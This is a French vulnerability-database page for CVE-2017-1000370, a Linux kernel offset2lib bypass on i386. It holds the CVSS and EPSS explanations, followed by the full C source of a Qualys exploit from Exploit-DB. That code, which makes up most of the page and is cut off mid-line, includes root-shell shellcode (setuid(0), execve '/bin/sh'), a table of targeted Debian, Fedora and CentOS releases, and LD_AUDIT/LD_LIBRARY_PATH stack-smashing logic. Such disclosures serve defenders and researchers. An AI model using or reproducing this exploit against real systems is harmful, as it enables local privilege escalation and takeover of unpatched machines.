CVE-2017-1000370 : Détail

CVE-2017-1000370

7.8
/
Haute
0.72%V4
Local
2017-06-19
14h00 +00:00
2017-11-05
09h57 +00:00
CVE.org
NVD
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Descriptions du CVE

The offset2lib patch as used in the Linux Kernel contains a vulnerability that allows a PIE binary to be execve()'ed with 1GB of arguments or environmental strings then the stack occupies the address 0x80000000 and the PIE binary is mapped above 0x40000000 nullifying the protection of the offset2lib patch. This affects Linux Kernel version 4.11.5 and earlier. This is a different issue than CVE-2017-1000371. This issue appears to be limited to i386 based systems.

Informations du CVE

Faiblesses connexes

CWE-ID Nom de la faiblesse Source
CWE Other No informations.

Métriques

Métriques Score Gravité CVSS Vecteur Source
V3.1 7.8 HIGH CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Base: Exploitabilty Metrics

The Exploitability metrics reflect the characteristics of the thing that is vulnerable, which we refer to formally as the vulnerable component.

Attack Vector

This metric reflects the context by which vulnerability exploitation is possible.

Local

The vulnerable component is not bound to the network stack and the attacker’s path is via read/write/execute capabilities.

Attack Complexity

This metric describes the conditions beyond the attacker’s control that must exist in order to exploit the vulnerability.

Low

Specialized access conditions or extenuating circumstances do not exist. An attacker can expect repeatable success when attacking the vulnerable component.

Privileges Required

This metric describes the level of privileges an attacker must possess before successfully exploiting the vulnerability.

Low

The attacker requires privileges that provide basic user capabilities that could normally affect only settings and files owned by a user. Alternatively, an attacker with Low privileges has the ability to access only non-sensitive resources.

User Interaction

This metric captures the requirement for a human user, other than the attacker, to participate in the successful compromise of the vulnerable component.

None

The vulnerable system can be exploited without interaction from any user.

Base: Scope Metrics

The Scope metric captures whether a vulnerability in one vulnerable component impacts resources in components beyond its security scope.

Scope

Formally, a security authority is a mechanism (e.g., an application, an operating system, firmware, a sandbox environment) that defines and enforces access control in terms of how certain subjects/actors (e.g., human users, processes) can access certain restricted objects/resources (e.g., files, CPU, memory) in a controlled manner. All the subjects and objects under the jurisdiction of a single security authority are considered to be under one security scope. If a vulnerability in a vulnerable component can affect a component which is in a different security scope than the vulnerable component, a Scope change occurs. Intuitively, whenever the impact of a vulnerability breaches a security/trust boundary and impacts components outside the security scope in which vulnerable component resides, a Scope change occurs.

Unchanged

An exploited vulnerability can only affect resources managed by the same security authority. In this case, the vulnerable component and the impacted component are either the same, or both are managed by the same security authority.

Base: Impact Metrics

The Impact metrics capture the effects of a successfully exploited vulnerability on the component that suffers the worst outcome that is most directly and predictably associated with the attack. Analysts should constrain impacts to a reasonable, final outcome which they are confident an attacker is able to achieve.

Confidentiality Impact

This metric measures the impact to the confidentiality of the information resources managed by a software component due to a successfully exploited vulnerability.

High

There is a total loss of confidentiality, resulting in all resources within the impacted component being divulged to the attacker. Alternatively, access to only some restricted information is obtained, but the disclosed information presents a direct, serious impact. For example, an attacker steals the administrator's password, or private encryption keys of a web server.

Integrity Impact

This metric measures the impact to integrity of a successfully exploited vulnerability. Integrity refers to the trustworthiness and veracity of information.

High

There is a total loss of integrity, or a complete loss of protection. For example, the attacker is able to modify any/all files protected by the impacted component. Alternatively, only some files can be modified, but malicious modification would present a direct, serious consequence to the impacted component.

Availability Impact

This metric measures the impact to the availability of the impacted component resulting from a successfully exploited vulnerability.

High

There is a total loss of availability, resulting in the attacker being able to fully deny access to resources in the impacted component; this loss is either sustained (while the attacker continues to deliver the attack) or persistent (the condition persists even after the attack has completed). Alternatively, the attacker has the ability to deny some availability, but the loss of availability presents a direct, serious consequence to the impacted component (e.g., the attacker cannot disrupt existing connections, but can prevent new connections; the attacker can repeatedly exploit a vulnerability that, in each instance of a successful attack, leaks a only small amount of memory, but after repeated exploitation causes a service to become completely unavailable).

Temporal Metrics

The Temporal metrics measure the current state of exploit techniques or code availability, the existence of any patches or workarounds, or the confidence in the description of a vulnerability.

Environmental Metrics

These metrics enable the analyst to customize the CVSS score depending on the importance of the affected IT asset to a user’s organization, measured in terms of Confidentiality, Integrity, and Availability.

 nvd@nist.gov
V2 7.2 AV:L/AC:L/Au:N/C:C/I:C/A:C nvd@nist.gov

EPSS

EPSS est un modèle de notation qui prédit la probabilité qu'une vulnérabilité soit exploitée.

Score EPSS

Le modèle EPSS produit un score de probabilité compris entre 0 et 1 (0 et 100 %). Plus la note est élevée, plus la probabilité qu'une vulnérabilité soit exploitée est grande.

Percentile EPSS

Le percentile est utilisé pour classer les CVE en fonction de leur score EPSS. Par exemple, une CVE dans le 95e percentile selon son score EPSS est plus susceptible d'être exploitée que 95 % des autres CVE. Ainsi, le percentile sert à comparer le score EPSS d'une CVE par rapport à d'autres CVE.
EPSS First.org

Informations sur l'Exploit

Exploit Database EDB-ID : 42274

Date de publication : 2017-06-27 22h00 +00:00
Auteur : Qualys Corporation
EDB Vérifié : Yes

/* * Linux_ldso_hwcap.c for CVE-2017-1000366, CVE-2017-1000370 * Copyright (C) 2017 Qualys, Inc. * * my_important_hwcaps() adapted from elf/dl-hwcaps.c, * part of the GNU C Library: * Copyright (C) 2012-2017 Free Software Foundation, Inc. * * This program is free software: you can redistribute it and/or modify * it under the terms of the GNU General Public License as published by * the Free Software Foundation, either version 3 of the License, or * (at your option) any later version. * * This program is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the * GNU General Public License for more details. * * You should have received a copy of the GNU General Public License * along with this program. If not, see <http://www.gnu.org/licenses/>. */ /** cat > la.c << "EOF" static void __attribute__ ((constructor)) _init (void) { __asm__ __volatile__ ( "addl $64, %esp;" // setuid(0); "movl $23, %eax;" "movl $0, %ebx;" "int $0x80;" // setgid(0); "movl $46, %eax;" "movl $0, %ebx;" "int $0x80;" // dup2(0, 1); "movl $63, %eax;" "movl $0, %ebx;" "movl $1, %ecx;" "int $0x80;" // dup2(0, 2); "movl $63, %eax;" "movl $0, %ebx;" "movl $2, %ecx;" "int $0x80;" // execve("/bin/sh"); "movl $11, %eax;" "pushl $0x0068732f;" "pushl $0x6e69622f;" "movl %esp, %ebx;" "movl $0, %edx;" "pushl %edx;" "pushl %ebx;" "movl %esp, %ecx;" "int $0x80;" // exit(0); "movl $1, %eax;" "movl $0, %ebx;" "int $0x80;" ); } EOF gcc -fpic -shared -nostdlib -Os -s -o la.so la.c xxd -i la.so > la.so.h **/ #define _GNU_SOURCE #include <assert.h> #include <elf.h> #include <fcntl.h> #include <limits.h> #include <link.h> #include <signal.h> #include <stdio.h> #include <stdlib.h> #include <string.h> #include <sys/param.h> #include <sys/resource.h> #include <sys/stat.h> #include <sys/time.h> #include <sys/types.h> #include <sys/wait.h> #include <unistd.h> #define PAGESZ ((size_t)4096) #define STACK_ALIGN ((size_t)16) #define MALLOC_ALIGN ((size_t)8) #define MMAP_BASE ((uintptr_t)0x40000000) #define MMAP_RAND ((size_t)1<<20) #define STACK_BASE ((uintptr_t)0xC0000000) #define STACK_RAND ((size_t)8<<20) #define MAX_ARG_STRLEN ((size_t)128<<10) #define MAX_ARG_STRINGS ((size_t)0x7FFFFFFF) static const struct target * target; static const struct target { const char * name; size_t memalign_up; size_t nsystem_dirs_len; size_t sizeof_system_dirs; const char * repl_lib; int ignore_lib; int ignore_origin; } targets[] = { { .name = "Debian 7 (wheezy)", .memalign_up = PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Debian 8 (jessie)", .memalign_up = PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Debian 9 (stretch)", .memalign_up = 2 * PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Debian 10 (buster)", .memalign_up = 2 * PAGESZ, .nsystem_dirs_len = 4, .sizeof_system_dirs = sizeof("/lib/i386-linux-gnu/\0" "/usr/lib/i386-linux-gnu/\0" "/lib/\0" "/usr/lib/"), .repl_lib = "lib/i386-linux-gnu", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Fedora 23 (Server Edition)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Fedora 24 (Server Edition)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "Fedora 25 (Server Edition)", .memalign_up = 2 * PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "CentOS 5.3 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 1, .ignore_origin = 0, }, { .name = "CentOS 5.11 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 1, }, { .name = "CentOS 6.0 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, { .name = "CentOS 6.8 (Final)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 1, }, { .name = "CentOS 7.2.1511 (AltArch)", .memalign_up = PAGESZ, .nsystem_dirs_len = 2, .sizeof_system_dirs = sizeof("/lib/\0" "/usr/lib/"), .repl_lib = "lib", .ignore_lib = 0, .ignore_origin = 0, }, }; #define die() do { \ printf("died in %s: %u\n", __func__, __LINE__); \ exit(EXIT_FAILURE); \ } while (0) static const ElfW(auxv_t) * my_auxv; static unsigned long int my_getauxval (const unsigned long int type) { const ElfW(auxv_t) * p; if (!my_auxv) die(); for (p = my_auxv; p->a_type != AT_NULL; p++) if (p->a_type == type) return p->a_un.a_val; die(); } static size_t get_elf_mmaps(const char * const binary) { if (!binary) die(); if (*binary != '/') die(); struct stat st; if (stat(binary, &st)) die(); if (!S_ISREG(st.st_mode)) die(); if (st.st_size <= 0) die(); #define SAFESZ ((size_t)64<<20) if (st.st_size >= (ssize_t)SAFESZ) die(); const size_t size = st.st_size; printf("%s %zu mmaps ", binary, size); const int fd = open(binary, O_RDONLY); if (fd <= -1) { const size_t mmaps = (size + PAGESZ-1) & ~(PAGESZ-1); printf("%zu (unreadable)\n", mmaps); return mmaps; } uint8_t * const buf = malloc(size); if (!buf) die(); if (read(fd, buf, size) != (ssize_t)size) die(); if (close(fd)) die(); if (size <= sizeof(ElfW(Ehdr))) die(); const ElfW(Ehdr) * const ehdr = (const ElfW(Ehdr) *)buf; if (ehdr->e_ident[EI_MAG0] != ELFMAG0) die(); if (ehdr->e_ident[EI_MAG1] != ELFMAG1) die(); if (ehdr->e_ident[EI_MAG2] != ELFMAG2) die(); if (ehdr->e_ident[EI_MAG3] != ELFMAG3) die(); if (ehdr->e_ident[EI_CLASS] != ELFCLASS32) die(); if (ehdr->e_ident[EI_DATA] != ELFDATA2LSB) die(); if (ehdr->e_machine != EM_386) die(); if (ehdr->e_version != EV_CURRENT) die(); if (ehdr->e_ehsize != sizeof(ElfW(Ehdr))) die(); if (ehdr->e_phentsize != sizeof(ElfW(Phdr))) die(); if (ehdr->e_shentsize != sizeof(ElfW(Shdr))) die(); if (ehdr->e_phoff <= 0 || ehdr->e_phoff >= size) die(); if (ehdr->e_shoff <= 0 || ehdr->e_shoff >= size) die(); if (ehdr->e_phnum > (size - ehdr->e_phoff) / sizeof(ElfW(Phdr))) die(); if (ehdr->e_shnum > (size - ehdr->e_shoff) / sizeof(ElfW(Shdr))) die(); if (ehdr->e_type != ET_DYN) { if (ehdr->e_type != ET_EXEC) die(); const size_t mmaps = 0; printf("%zu (executable)\n", mmaps); free(buf); return mmaps; } uintptr_t first_map_start = UINTPTR_MAX; uintptr_t last_map_end = 0; unsigned int i; for (i = 0; i < ehdr->e_phnum; i++) { const ElfW(Phdr) * const phdr = (const ElfW(Phdr) *)(buf + ehdr->e_phoff) + i; if (phdr->p_type != PT_LOAD) continue; if (phdr->p_offset >= size) die(); if (phdr->p_filesz > size - phdr->p_offset) die(); if (phdr->p_filesz > phdr->p_memsz) die(); if (phdr->p_vaddr >= STACK_BASE) die(); if (phdr->p_memsz <= 0) die(); if (phdr->p_memsz >= SAFESZ) die(); #undef SAFESZ if (phdr->p_align != PAGESZ) die(); const uintptr_t map_start = phdr->p_vaddr & ~(PAGESZ-1); if (map_start >= UINTPTR_MAX) die(); if (map_start < last_map_end) die(); const uintptr_t map_end = (phdr->p_vaddr + phdr->p_memsz + PAGESZ-1) & ~(PAGESZ-1); if (map_end <= map_start) die(); if (map_end <= 0) die(); if (first_map_start >= UINTPTR_MAX) { first_map_start = map_start; } last_map_end = map_end; switch (phdr->p_flags) { case PF_R | PF_X: break; case PF_R | PF_W: if (map_start <= first_map_start) die(); break; default: die(); } } if (first_map_start >= UINTPTR_MAX) die(); if (last_map_end <= 0) die(); if (last_map_end <= first_map_start) die(); const size_t mmaps = last_map_end - first_map_start; printf("%zu (%sshared object)\n", mmaps, first_map_start ? "prelinked " : ""); free(buf); return mmaps; } static const char my_x86_cap_flags[32][8] = { "fpu", "vme", "de", "pse", "tsc", "msr", "pae", "mce", "cx8", "apic", "10", "sep", "mtrr", "pge", "mca", "cmov", "pat", "pse36", "pn", "clflush", "20", "dts", "acpi", "mmx", "fxsr", "sse", "sse2", "ss", "ht", "tm", "ia64", "pbe" }; static const char my_x86_platforms[4][5] = { "i386", "i486", "i586", "i686" }; static inline const char * my_hwcap_string (const unsigned int idx) { if (idx >= sizeof(my_x86_cap_flags) / sizeof(my_x86_cap_flags[0])) die(); return my_x86_cap_flags[idx]; } struct my_important_hwcaps { unsigned long hwcap_mask; size_t max_capstrlen; size_t pointers; size_t strings; size_t search_dirs; size_t search_dirs_0; }; struct my_link_map { const ElfW(Phdr) * l_phdr; ElfW(Half) l_phnum; ElfW(Addr) l_addr; }; /* We want to cache information about the searches for shared objects. */ enum r_dir_status { unknown, nonexisting, existing }; struct r_search_path_elem { /* This link is only used in the `all_dirs' member of `r_search_path'. */ struct r_search_path_elem *next; /* Strings saying where the definition came from. */ const char *what; const char *where; /* Basename for this search path element. The string must end with a slash character. */ const char *dirname; size_t dirnamelen; enum r_dir_status status[0]; }; struct r_strlenpair { const char *str; size_t len; }; /* Return an array of useful/necessary hardware capability names. */ static struct my_important_hwcaps my_important_hwcaps (const char * const platform, const size_t platform_len, const uint64_t hwcap, const uint64_t hwcap_mask, const struct my_link_map * sysinfo_map) { static const struct my_important_hwcaps err; /* Determine how many important bits are set. */ uint64_t masked = hwcap & hwcap_mask; size_t cnt = platform != NULL; size_t n, m; size_t total; struct r_strlenpair *result; /* Count the number of bits set in the masked value. */ for (n = 0; (~((1ULL << n) - 1) & masked) != 0; ++n) if ((masked & (1ULL << n)) != 0) ++cnt; /* The system-supplied DSO can contain a note of type 2, vendor "GNU". This gives us a list of names to treat as fake hwcap bits. */ const char *dsocaps = NULL; size_t dsocapslen = 0; if (sysinfo_map != NULL) { const ElfW(Phdr) *const phdr = sysinfo_map->l_phdr; const ElfW(Word) phnum = sysinfo_map->l_phnum; uint_fast16_t i; for (i = 0; i < phnum; ++i) if (phdr[i].p_type == PT_NOTE) { const ElfW(Addr) start = (phdr[i].p_vaddr + sysinfo_map->l_addr); /* The standard ELF note layout is exactly as the anonymous struct. The next element is a variable length vendor name of length VENDORLEN (with a real length rounded to ElfW(Word)), followed by the data of length DATALEN (with a real length rounded to ElfW(Word)). */ const struct { ElfW(Word) vendorlen; ElfW(Word) datalen; ElfW(Word) type; } *note = (const void *) start; while ((ElfW(Addr)) (note + 1) - start < phdr[i].p_memsz) { #define ROUND(len) (((len) + sizeof (ElfW(Word)) - 1) & -sizeof (ElfW(Word))) /* The layout of the type 2, vendor "GNU" note is as follows: .long <Number of capabilities enabled by this note> .long <Capabilities mask> (as mask >> _DL_FIRST_EXTRA). .byte <The bit number for the next capability> .asciz <The name of the capability>. */ if (note->type == NT_GNU_HWCAP && note->vendorlen == sizeof "GNU" && !memcmp ((note + 1), "GNU", sizeof "GNU") && note->datalen > 2 * sizeof (ElfW(Word)) + 2) { const ElfW(Word) *p = ((const void *) (note + 1) + ROUND (sizeof "GNU")); cnt += *p++; ++p; /* Skip mask word. */ dsocaps = (const char *) p; /* Pseudo-string "<b>name" */ dsocapslen = note->datalen - sizeof *p * 2; break; } note = ((const void *) (note + 1) + ROUND (note->vendorlen) + ROUND (note->datalen)); #undef ROUND } if (dsocaps != NULL) break; } } /* For TLS enabled builds always add 'tls'. */ ++cnt; /* Create temporary data structure to generate result table. */ if (cnt < 2) return err; if (cnt >= 32) return err; struct r_strlenpair temp[cnt]; m = 0; if (dsocaps != NULL) { /* dsocaps points to the .asciz string, and -1 points to the mask .long just before the string. */ const ElfW(Word) mask = ((const ElfW(Word) *) dsocaps)[-1]; size_t len; const char *p; for (p = dsocaps; p < dsocaps + dsocapslen; p += len + 1) { uint_fast8_t bit = *p++; len = strlen (p); /* Skip entries that are not enabled in the mask word. */ if (mask & ((ElfW(Word)) 1 << bit)) { temp[m].str = p; temp[m].len = len; ++m; } else --cnt; } } for (n = 0; masked != 0; ++n) if ((masked & (1ULL << n)) != 0) { temp[m].str = my_hwcap_string (n); temp[m].len = strlen (temp[m].str); masked ^= 1ULL << n; ++m; } if (platform != NULL) { temp[m].str = platform; temp[m].len = platform_len; ++m; } temp[m].str = "tls"; temp[m].len = 3; ++m; assert (m == cnt); /* Determine the total size of all strings together. */ if (cnt == 1) total = temp[0].len + 1; else { total = temp[0].len + temp[cnt - 1].len + 2; if (cnt > 2) { total <<= 1; for (n = 1; n + 1 < cnt; ++n) total += temp[n].len + 1; if (cnt > 3 && (cnt >= sizeof (size_t) * 8 || total + (sizeof (*result) << 3) >= (1UL << (sizeof (size_t) * 8 - cnt + 3)))) return err; total <<= cnt - 3; } } /* The result structure: we use a very compressed way to store the various combinations of capability names. */ const size_t _sz = 1 << cnt; /* Now we are ready to install the string pointers and length. */ size_t max_capstrlen = 0; n = cnt; do { const size_t mask = 1 << --n; for (m = 1 << cnt; m > 0; ) { if ((--m & mask) != 0) max_capstrlen += temp[n].len + 1; break; } } while (n != 0); const size_t round_size = (2 * sizeof (struct r_search_path_elem) - 1 + _sz * sizeof (enum r_dir_status)) / sizeof (struct r_search_path_elem); if (hwcap_mask > ULONG_MAX) die(); const struct my_important_hwcaps ret = { .hwcap_mask = hwcap_mask, .max_capstrlen = max_capstrlen, .pointers = _sz * sizeof (*result), .strings = total, .search_dirs = (target->nsystem_dirs_len + 1) * sizeof (struct r_search_path_elem *), .search_dirs_0 = target->sizeof_system_dirs * round_size * sizeof (struct r_search_path_elem) }; return ret; } static size_t my_bsearch(const void * const key, const void * const base, const size_t nmemb, const size_t size, int (* const compar)(const void *, const void *)) { if (!key) die(); if (!size) die(); if (!compar) die(); if (nmemb >= SSIZE_MAX / size) die(); if (!base != !nmemb) die(); if (!base || !nmemb) return 0; size_t low = 0; size_t high = nmemb - 1; while (low <= high) { const size_t mid = low + (high - low) / 2; if (mid >= nmemb) die(); const int cond = compar(key, base + mid * size); switch (cond) { case 0: return mid; case -1: if (mid <= 0) { if (mid != 0) die(); if (low != 0) die(); return low; } high = mid - 1; break; case +1: low = mid + 1; break; default: die(); } } if (low > nmemb) die(); return low; } static int cmp_important_hwcaps(const void * const _a, const void * const _b) { const struct my_important_hwcaps * const a = _a; const struct my_important_hwcaps * const b = _b; if (a->strings < b->strings) return -1; if (a->strings > b->strings) return +1; if (a->pointers < b->pointers) return -1; if (a->pointers > b->pointers) return +1; if (a->search_dirs_0 < b->search_dirs_0) return -1; if (a->search_dirs_0 > b->search_dirs_0) return +1; if (a->max_capstrlen < b->max_capstrlen) return -1; if (a->max_capstrlen > b->max_capstrlen) return +1; return 0; } struct audit_list { const char *name; struct audit_list *next; }; int main(const int my_argc, const char * const my_argv[], const char * const my_envp[]) { { const char * const * p = my_envp; while (*p++) ; my_auxv = (const void *)p; } if (my_getauxval(AT_PAGESZ) != PAGESZ) die(); { struct timeval tv; if (gettimeofday(&tv, NULL)) die(); srandom(getpid() ^ tv.tv_sec ^ tv.tv_usec); } if (my_argc != 1+2) { printf("Usage: %s target binary\n", my_argv[0]); size_t i; for (i = 0; i < sizeof(targets)/sizeof(*targets); i++) { printf("Target %zu %s\n", i, targets[i].name); } die(); } { const size_t i = strtoul(my_argv[1], NULL, 10); if (i >= sizeof(targets)/sizeof(*targets)) die(); target = targets + i; printf("Target %zu %s\n", i, target->name); } printf("mau %zu nsd %zu ssd %zu rl %s il %d io %d\n", target->memalign_up, target->nsystem_dirs_len, target->sizeof_system_dirs, target->repl_lib, target->ignore_lib, target->ignore_origin); if (target->memalign_up % PAGESZ) die(); if (target->ignore_lib < 0 || target->ignore_origin < 0) die(); if (target->ignore_lib > 1 || target->ignore_origin > 1) die(); const char * const binary = realpath(my_argv[2], NULL); if (!binary) die(); if (*binary != '/') die(); if (access(binary, X_OK)) die(); const char * const slash = strrchr(binary, '/'); if (!slash) die(); if (slash <= binary) die(); const char * const origin = strndup(binary, slash - binary); if (!origin) die(); printf("origin %s (%zu)\n", origin, strlen(origin)); const char * const platform = (const void *)my_getauxval(AT_PLATFORM); if (!platform) die(); const size_t platform_len = strlen(platform); if (platform_len != 4) die(); { size_t i; for (i = 0; ; i++) { if (i >= sizeof(my_x86_platforms) / sizeof(my_x86_platforms[0])) die(); if (strcmp(platform, my_x86_platforms[i]) == 0) break; } } const struct { const char * str; size_t len; size_t repl_len; } DSTs[] = { #define DST_LIB "LIB" { DST_LIB, strlen(DST_LIB), strlen(target->repl_lib) }, #define DST_PLATFORM "PLATFORM" { DST_PLATFORM, strlen(DST_PLATFORM), platform_len } }; size_t repl_max = target->ignore_origin ? 0 : strlen(origin); { size_t i; for (i = target->ignore_lib ? 1 : 0; i < sizeof(DSTs)/sizeof(*DSTs); i++) { if (repl_max < DSTs[i].repl_len) repl_max = DSTs[i].repl_len; } } printf("repl_max %zu\n", repl_max); if (repl_max < 4) die(); const ElfW(Ehdr) * const sysinfo_dso = (const void *)my_getauxval(AT_SYSINFO_EHDR); if (!sysinfo_dso) die(); struct my_link_map sysinfo_map = { .l_phdr = (const void *)sysinfo_dso + sysinfo_dso->e_phoff, .l_phnum = sysinfo_dso->e_phnum, .l_addr = ULONG_MAX }; { uint_fast16_t i; for (i = 0; i < sysinfo_map.l_phnum; ++i) { const ElfW(Phdr) * const ph = &sysinfo_map.l_phdr[i]; if (ph->p_type == PT_LOAD) { if (sysinfo_map.l_addr == ULONG_MAX) sysinfo_map.l_addr = ph->p_vaddr; } } } if (sysinfo_map.l_addr == ULONG_MAX) die(); sysinfo_map.l_addr = (ElfW(Addr))sysinfo_dso - sysinfo_map.l_addr; const unsigned long hwcap = my_getauxval(AT_HWCAP); if (!hwcap) die(); struct my_important_hwcaps * important_hwcaps = NULL; size_t num_important_hwcaps = 0; { size_t max_important_hwcaps = 0; uint32_t hwcap_mask = 1; do { if (hwcap_mask & ~hwcap) continue; const uint64_t popcount = __builtin_popcount(hwcap_mask); if (popcount < 1) die(); if (popcount > 32) die(); if ((((2+1) * (2*2 + popcount)) << (popcount-1)) + PAGESZ >= MAX_ARG_STRLEN + (MAX_ARG_STRLEN / (4+1)) * (repl_max - (target->ignore_lib ? 7 : 4))) continue; const struct my_important_hwcaps ihc = my_important_hwcaps(platform, platform_len, hwcap, hwcap_mask, &sysinfo_map); if (!ihc.pointers) die(); const size_t idx = my_bsearch(&ihc, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps); if (idx > num_important_hwcaps) die(); if (idx == num_important_hwcaps || cmp_important_hwcaps(&ihc, important_hwcaps + idx)) { if (num_important_hwcaps >= max_important_hwcaps) { if (num_important_hwcaps != max_important_hwcaps) die(); if (max_important_hwcaps >= 65536) die(); max_important_hwcaps += 256; if (num_important_hwcaps >= max_important_hwcaps) die(); important_hwcaps = realloc(important_hwcaps, max_important_hwcaps * sizeof(struct my_important_hwcaps)); if (!important_hwcaps) die(); } memmove(important_hwcaps + idx + 1, important_hwcaps + idx, (num_important_hwcaps - idx) * sizeof(struct my_important_hwcaps)); important_hwcaps[idx] = ihc; num_important_hwcaps++; } } while (++hwcap_mask); } printf("num_important_hwcaps %zu\n", num_important_hwcaps); static struct { double probability; struct my_important_hwcaps ihc; size_t gwr, dst, cnt; } best; #define LIB "/lib" #define SEP_LIB ":" LIB #define LLP "LD_LIBRARY_PATH=" static char llp[MAX_ARG_STRLEN]; #define MAX_GWR ((sizeof(llp) - (sizeof(LLP)-1 + sizeof(SEP_LIB)-1 + 1)) & ~(MALLOC_ALIGN-1)) size_t gwr; for (gwr = MAX_GWR; gwr >= 128; gwr -= MALLOC_ALIGN) { size_t dst; for (dst = 0; dst < sizeof(DSTs)/sizeof(*DSTs); dst++) { const size_t cnt = (MAX_GWR - gwr) / (1 + DSTs[dst].len + 1); const size_t gpj = (sizeof(SEP_LIB)-1 + MAX_GWR + cnt * (repl_max - (target->ignore_lib ? 7 : 4)) + 1 + STACK_ALIGN-1) & ~(STACK_ALIGN-1); const size_t bwr = (sizeof(SEP_LIB)-1 + cnt * (DSTs[dst].repl_len + 1)) + ((MAX_GWR - gwr) - cnt * (1 + DSTs[dst].len + 1)) + 1; const struct my_important_hwcaps key = { .strings = gwr + bwr }; if (key.pointers) die(); size_t idx = my_bsearch(&key, important_hwcaps, num_important_hwcaps, sizeof(struct my_important_hwcaps), cmp_important_hwcaps); for (; idx < num_important_hwcaps; idx++) { const struct my_important_hwcaps ihc = important_hwcaps[idx]; if (ihc.strings < gwr + bwr) die(); if (ihc.max_capstrlen % MALLOC_ALIGN >= sizeof("/..")) continue; if (ihc.search_dirs_0 >= STACK_RAND) continue; const size_t min = MIN(gwr, ihc.pointers); if (gpj < min + ihc.strings + ihc.search_dirs + 2 * target->memalign_up + 2 * PAGESZ + (target->ignore_origin ? 0 : PATH_MAX)) continue; const double probability = (double)((uint64_t)(STACK_RAND - ihc.search_dirs_0) * (uint64_t)min) / (double)((uint64_t)STACK_RAND * (uint64_t)(MMAP_RAND + (STACK_RAND - ihc.search_dirs_0))); if (best.probability < probability) { best.probability = probability; best.ihc = ihc; best.gwr = gwr; best.dst = dst; best.cnt = cnt; printf("len %zu ihcp %zu ihcs %zu sd %zu sd0 %zu gpj %zu gwr %zu bwr %zu cnt %zu dst %zu repl %zu probability 1/%zu (%.10g) mask %lx\n", ihc.max_capstrlen, ihc.pointers, ihc.strings, ihc.search_dirs, ihc.search_dirs_0, gpj, gwr, bwr, cnt, DSTs[dst].len, DSTs[dst].repl_len, (size_t)(1 / probability), probability, ihc.hwcap_mask); } } } } if (!best.probability) die(); if (STACK_BASE <= MMAP_BASE) die(); const size_t mmap_size = ((STACK_BASE - MMAP_BASE) / 2) - MMAP_RAND / 2 - (get_elf_mmaps(binary) + get_elf_mmaps("/lib/ld-linux.so.2") + best.ihc.pointers + best.ihc.strings + best.ihc.search_dirs); const size_t stack_size = ((STACK_BASE - MMAP_BASE) / 2) - ((STACK_RAND + best.ihc.search_dirs_0) / 2); printf("mmap_size %zu stack_size %zu\n", mmap_size, stack_size); #define REL_LA "a" #define LDA "LD_AUDIT=" static char lda[MAX_ARG_STRLEN]; #define MAX_RLDAS ((sizeof(lda) - sizeof(LDA)) / sizeof(REL_LA)) if (sizeof(struct audit_list) % MALLOC_ALIGN) die(); const size_t ldas = (mmap_size / sizeof(struct audit_list)) / MAX_RLDAS; if (ldas >= MAX_ARG_STRINGS / 3) die(); #define INITIAL_STACK_EXPANSION (131072UL) const size_t pads = INITIAL_STACK_EXPANSION / sizeof(char *) - ldas; if (pads >= INITIAL_STACK_EXPANSION / sizeof(char *)) die(); if (pads >= MAX_ARG_STRINGS / 3) die(); static char pad[MAX_ARG_STRLEN]; { const size_t padl = (stack_size - sizeof(llp) - ldas * (sizeof(lda) + sizeof(char *)) - pads * sizeof(char *)) / pads; if (padl >= sizeof(pad)) die(); if (padl <= 0) die(); memset(pad, ' ', padl-1); printf("ldas %zu pads %zu padl %zu\n", ldas, pads, padl); } { char * cp = mempcpy(llp, LLP, sizeof(LLP)-1); memset(cp, '/', MAX_GWR); memcpy(cp + MAX_GWR, SEP_LIB, sizeof(SEP_LIB)-1); if (*(cp + MAX_GWR + sizeof(SEP_LIB)-1)) die(); #define LIB_TO_TMP "/../tmp/" if (sizeof(LIB_TO_TMP)-1 != MALLOC_ALIGN) die(); if (!best.gwr) die(); if (best.gwr >= MAX_GWR) die(); if (best.gwr % MALLOC_ALIGN) die(); size_t i; for (i = 0; i < best.gwr / MALLOC_ALIGN; i++) { cp = mempcpy(cp, LIB_TO_TMP, MALLOC_ALIGN); } if (!best.cnt) die(); if (best.dst >= 